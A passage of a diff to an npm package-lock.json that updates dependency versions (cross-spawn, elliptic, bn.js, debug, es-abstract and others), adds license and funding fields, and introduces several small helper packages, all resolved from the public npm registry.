-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/concat-stream": {
       "version": "1.6.2",
@@ -2167,6 +2238,7 @@
       "engines": [
         "node >= 0.8"
       ],
+      "license": "MIT",
       "dependencies": {
         "buffer-from": "^1.0.0",
         "inherits": "^2.0.3",
@@ -2184,25 +2256,29 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz",
       "integrity": "sha512-xFxOwqIzR/e1k1gLiWEophSCMqXcwVHIH7akf7b/vxcUeGunlj3hvZaaqxwHsTgn+IndtkQJgSztIDWeumWJDQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/convert-source-map": {
       "version": "1.1.3",
       "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.1.3.tgz",
       "integrity": "sha512-Y8L5rp6jo+g9VEPgvqNfEopjTR4OTYct8lXlS8iVQdmnjDvbdbzYe9rjtFCB9egC86JoNCU61WRY+ScjkZpnIg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cookiejar": {
       "version": "2.1.4",
       "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz",
       "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/copy-descriptor": {
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
       "integrity": "sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -2211,29 +2287,33 @@
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
       "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/create-ecdh": {
       "version": "4.0.4",
       "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz",
       "integrity": "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "bn.js": "^4.1.0",
         "elliptic": "^6.5.3"
       }
     },
     "node_modules/create-ecdh/node_modules/bn.js": {
-      "version": "4.12.0",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
-      "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
-      "dev": true
+      "version": "4.12.2",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
+      "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/create-hash": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz",
       "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cipher-base": "^1.0.1",
         "inherits": "^2.0.1",
@@ -2247,6 +2327,7 @@
       "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz",
       "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cipher-base": "^1.0.3",
         "create-hash": "^1.1.0",
@@ -2257,10 +2338,11 @@
       }
     },
     "node_modules/cross-spawn": {
-      "version": "6.0.5",
-      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
-      "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
+      "version": "6.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.6.tgz",
+      "integrity": "sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "nice-try": "^1.0.4",
         "path-key": "^2.0.1",
@@ -2273,63 +2355,76 @@
       }
     },
     "node_modules/crypto-browserify": {
-      "version": "3.12.0",
-      "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.0.tgz",
-      "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==",
+      "version": "3.12.1",
+      "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.1.tgz",
+      "integrity": "sha512-r4ESw/IlusD17lgQi1O20Fa3qNnsckR126TdUuBgAu7GBYSIPvdNyONd3Zrxh0xCwA4+6w/TDArBPsMvhur+KQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "browserify-cipher": "^1.0.0",
-        "browserify-sign": "^4.0.0",
-        "create-ecdh": "^4.0.0",
-        "create-hash": "^1.1.0",
-        "create-hmac": "^1.1.0",
-        "diffie-hellman": "^5.0.0",
-        "inherits": "^2.0.1",
-        "pbkdf2": "^3.0.3",
-        "public-encrypt": "^4.0.0",
-        "randombytes": "^2.0.0",
-        "randomfill": "^1.0.3"
+        "browserify-cipher": "^1.0.1",
+        "browserify-sign": "^4.2.3",
+        "create-ecdh": "^4.0.4",
+        "create-hash": "^1.2.0",
+        "create-hmac": "^1.1.7",
+        "diffie-hellman": "^5.0.3",
+        "hash-base": "~3.0.4",
+        "inherits": "^2.0.4",
+        "pbkdf2": "^3.1.2",
+        "public-encrypt": "^4.0.3",
+        "randombytes": "^2.1.0",
+        "randomfill": "^1.0.4"
       },
       "engines": {
-        "node": "*"
+        "node": ">= 0.10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/cssom": {
       "version": "0.3.8",
       "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
       "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cssstyle": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-1.4.0.tgz",
       "integrity": "sha512-GBrLZYZ4X4x6/QEoBnIrqb8B/f5l4+8me2dkom/j1Gtbxy0kBv6OGzKuAsGM75bkGwGAFkt56Iwg28S3XTZgSA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cssom": "0.3.x"
       }
     },
     "node_modules/d": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz",
-      "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/d/-/d-1.0.2.tgz",
+      "integrity": "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
-        "es5-ext": "^0.10.50",
-        "type": "^1.0.1"
+        "es5-ext": "^0.10.64",
+        "type": "^2.7.2"
+      },
+      "engines": {
+        "node": ">=0.12"
       }
     },
     "node_modules/dash-ast": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/dash-ast/-/dash-ast-2.0.1.tgz",
       "integrity": "sha512-5TXltWJGc+RdnabUGzhRae1TRq6m4gr+3K2wQX0is5/F2yS6MJXJvLyI3ErAnsAXuJoGqvfVD5icRgim07DrxQ==",
-      "dev": true
+      "dev": true,
+      "license": "Apache-2.0"
     },
     "node_modules/dashdash": {
       "version": "1.14.1",
       "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
       "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "^1.0.0"
       },
@@ -2342,6 +2437,7 @@
       "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-1.1.0.tgz",
       "integrity": "sha512-YTWYI9se1P55u58gL5GkQHW4P6VJBJ5iBT+B5a7i2Tjadhv52paJG0qHX4A0OR6/t52odI64KP2YvFpkDOi3eQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "abab": "^2.0.0",
         "whatwg-mimetype": "^2.2.0",
@@ -2353,19 +2449,75 @@
       "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
       "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "lodash.sortby": "^4.7.0",
         "tr46": "^1.0.1",
         "webidl-conversions": "^4.0.2"
       }
     },
-    "node_modules/debug": {
-      "version": "4.3.4",
-      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
-      "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+    "node_modules/data-view-buffer": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz",
+      "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "ms": "2.1.2"
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/data-view-byte-length": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz",
+      "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.3",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/inspect-js"
+      }
+    },
+    "node_modules/data-view-byte-offset": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz",
+      "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "is-data-view": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz",
+      "integrity": "sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
       },
       "engines": {
         "node": ">=6.0"
@@ -2380,6 +2532,7 @@
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
       "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -2389,6 +2542,7 @@
       "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz",
       "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10"
       }
@@ -2397,14 +2551,35 @@
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
       "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/define-data-property": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+      "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
     },
     "node_modules/define-properties": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz",
-      "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==",
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
+      "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
+        "define-data-property": "^1.0.1",
         "has-property-descriptors": "^1.0.0",
         "object-keys": "^1.1.1"
       },
@@ -2420,6 +2595,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
       "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^1.0.2",
         "isobject": "^3.0.1"
@@ -2433,6 +2609,7 @@
       "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.1.tgz",
       "integrity": "sha512-hsBd2qSVCRE+5PmNdHt1uzyrFu5d3RwmFDKzyNZMFq/EwDNJF7Ee5+D5oEKF0hU6LhtoUF1macFvOe4AskQC1Q==",
       "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -2442,6 +2619,7 @@
       "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
       "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -2451,6 +2629,7 @@
       "resolved": "https://registry.npmjs.org/deps-sort/-/deps-sort-2.0.1.tgz",
       "integrity": "sha512-1orqXQr5po+3KI6kQb9A4jnXT1PBwggGl2d7Sq2xsnOeI9GPcE/tGcF9UiSZtZBM7MukY4cAh7MemS6tZYipfw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "JSONStream": "^1.0.3",
         "shasum-object": "^1.0.0",
@@ -2466,6 +2645,7 @@
       "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.1.0.tgz",
       "integrity": "sha512-r17GxjhUCjSRy8aiJpr8/UadFIzMzJGexI3Nmz4ADi9LYSFx4gTBp80+NaX/YsXWWLhpZ7v/v/ubEc/bCNfKwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.1",
         "minimalistic-assert": "^1.0.0"
@@ -2476,6 +2656,7 @@
       "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-2.1.0.tgz",
       "integrity": "sha512-CwffZFvlJffUg9zZA0uqrjQayUTC8ob94pnr5sFwaVv3IOmkfUHcWH+jXaQK3askE51Cqe8/9Ql/0uXNwqZ8Zg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -2485,6 +2666,7 @@
       "resolved": "https://registry.npmjs.org/detective/-/detective-5.2.1.tgz",
       "integrity": "sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "acorn-node": "^1.8.2",
         "defined": "^1.0.0",
@@ -2502,6 +2684,7 @@
       "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
       "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.3.1"
       }
@@ -2511,6 +2694,7 @@
       "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-24.9.0.tgz",
       "integrity": "sha512-Dj6Wk3tWyTE+Fo1rW8v0Xhwk80um6yFYKbuAxc9c3EZxIHFDYwbi34Uk42u1CdnIiVorvt4RmlSDjIPyzGC2ew==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -2520,6 +2704,7 @@
       "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz",
       "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "bn.js": "^4.1.0",
         "miller-rabin": "^4.0.0",
@@ -2527,16 +2712,18 @@
       }
     },
     "node_modules/diffie-hellman/node_modules/bn.js": {
-      "version": "4.12.0",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
-      "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
-      "dev": true
+      "version": "4.12.2",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
+      "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/doctrine": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
       "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "esutils": "^2.0.2"
       },
@@ -2549,6 +2736,7 @@
       "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz",
       "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4",
         "npm": ">=1.2"
@@ -2558,7 +2746,9 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/domexception/-/domexception-1.0.1.tgz",
       "integrity": "sha512-raigMkn7CJNNo6Ihro1fzG7wr3fHuYVytzquZKX5n0yizGsTcYgzdIUwj1X9pK0VvjeihV+XiclP+DjwbsSKug==",
+      "deprecated": "Use your platform's native DOMException instead",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "webidl-conversions": "^4.0.2"
       }
@@ -2567,13 +2757,30 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/dot-parts/-/dot-parts-1.0.1.tgz",
       "integrity": "sha512-DcAuaZ2hguFLkxrAwOlvYNFb4IE6xg1Ldzqpma4/UeiT0utd8/E17z1h9mH8s+9Hwh7SeLn83LpIykh/oBBxSw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/dunder-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+      "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.2.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
     },
     "node_modules/duplexer2": {
       "version": "0.1.4",
       "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz",
       "integrity": "sha512-asLFVfWWtJ90ZyOUHMqk7/S2w2guQKxUI2itj3d92ADHhxUSbCMGi1f1cBcJ7xM1To+pE/Khbwo1yuNbMEPKeA==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "readable-stream": "^2.0.2"
       }
@@ -2583,27 +2790,31 @@
       "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
       "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "jsbn": "~0.1.0",
         "safer-buffer": "^2.1.0"
       }
     },
     "node_modules/electron-to-chromium": {
-      "version": "1.4.485",
-      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.485.tgz",
-      "integrity": "sha512-1ndQ5IBNEnFirPwvyud69GHL+31FkE09gH/CJ6m3KCbkx3i0EVOrjwz4UNxRmN9H8OVHbC6vMRZGN1yCvjSs9w==",
-      "dev": true
+      "version": "1.5.179",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.179.tgz",
+      "integrity": "sha512-UWKi/EbBopgfFsc5k61wFpV7WrnnSlSzW/e2XcBmS6qKYTivZlLtoll5/rdqRTxGglGHkmkW0j0pFNJG10EUIQ==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/elkjs": {
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.3.0.tgz",
-      "integrity": "sha512-bcO8RCIssdly316ou76QLsiuu1NCLbhhZwK/iuOdKTyQzKdCeX7sdIJOUdSsjlIDB203TN4NBpTiq4ugmLjR+Q=="
+      "integrity": "sha512-bcO8RCIssdly316ou76QLsiuu1NCLbhhZwK/iuOdKTyQzKdCeX7sdIJOUdSsjlIDB203TN4NBpTiq4ugmLjR+Q==",
+      "license": "EPL-1.0"
     },
     "node_modules/elliptic": {
-      "version": "6.5.4",
-      "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz",
-      "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==",
+      "version": "6.6.1",
+      "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.6.1.tgz",
+      "integrity": "sha512-RaddvvMatK2LJHqFJ+YA4WysVN5Ita9E35botqIYspQ4TkRAlCicdzKOjlyv/1Za5RyTNn7di//eEV0uTAfe3g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "bn.js": "^4.11.9",
         "brorand": "^1.1.0",
@@ -2615,22 +2826,25 @@
       }
     },
     "node_modules/elliptic/node_modules/bn.js": {
-      "version": "4.12.0",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
-      "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
-      "dev": true
+      "version": "4.12.2",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
+      "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/emoji-regex": {
       "version": "7.0.3",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
       "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/end-of-stream": {
-      "version": "1.4.4",
-      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
-      "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
+      "version": "1.4.5",
+      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz",
+      "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "once": "^1.4.0"
       }
@@ -2639,55 +2853,72 @@
       "version": "1.3.2",
       "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
       "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
+      "license": "MIT",
       "dependencies": {
         "is-arrayish": "^0.2.1"
       }
     },
     "node_modules/es-abstract": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.22.1.tgz",
-      "integrity": "sha512-ioRRcXMO6OFyRpyzV3kE1IIBd4WG5/kltnzdxSCqoP8CMGs/Li+M1uF5o7lOkZVFjDs+NLesthnF66Pg/0q0Lw==",
+      "version": "1.24.0",
+      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz",
+      "integrity": "sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "array-buffer-byte-length": "^1.0.0",
-        "arraybuffer.prototype.slice": "^1.0.1",
-        "available-typed-arrays": "^1.0.5",
-        "call-bind": "^1.0.2",
-        "es-set-tostringtag": "^2.0.1",
-        "es-to-primitive": "^1.2.1",
-        "function.prototype.name": "^1.1.5",
-        "get-intrinsic": "^1.2.1",
-        "get-symbol-description": "^1.0.0",
-        "globalthis": "^1.0.3",
-        "gopd": "^1.0.1",
-        "has": "^1.0.3",
-        "has-property-descriptors": "^1.0.0",
-        "has-proto": "^1.0.1",
-        "has-symbols": "^1.0.3",
-        "internal-slot": "^1.0.5",
-        "is-array-buffer": "^3.0.2",
+        "array-buffer-byte-length": "^1.0.2",
+        "arraybuffer.prototype.slice": "^1.0.4",
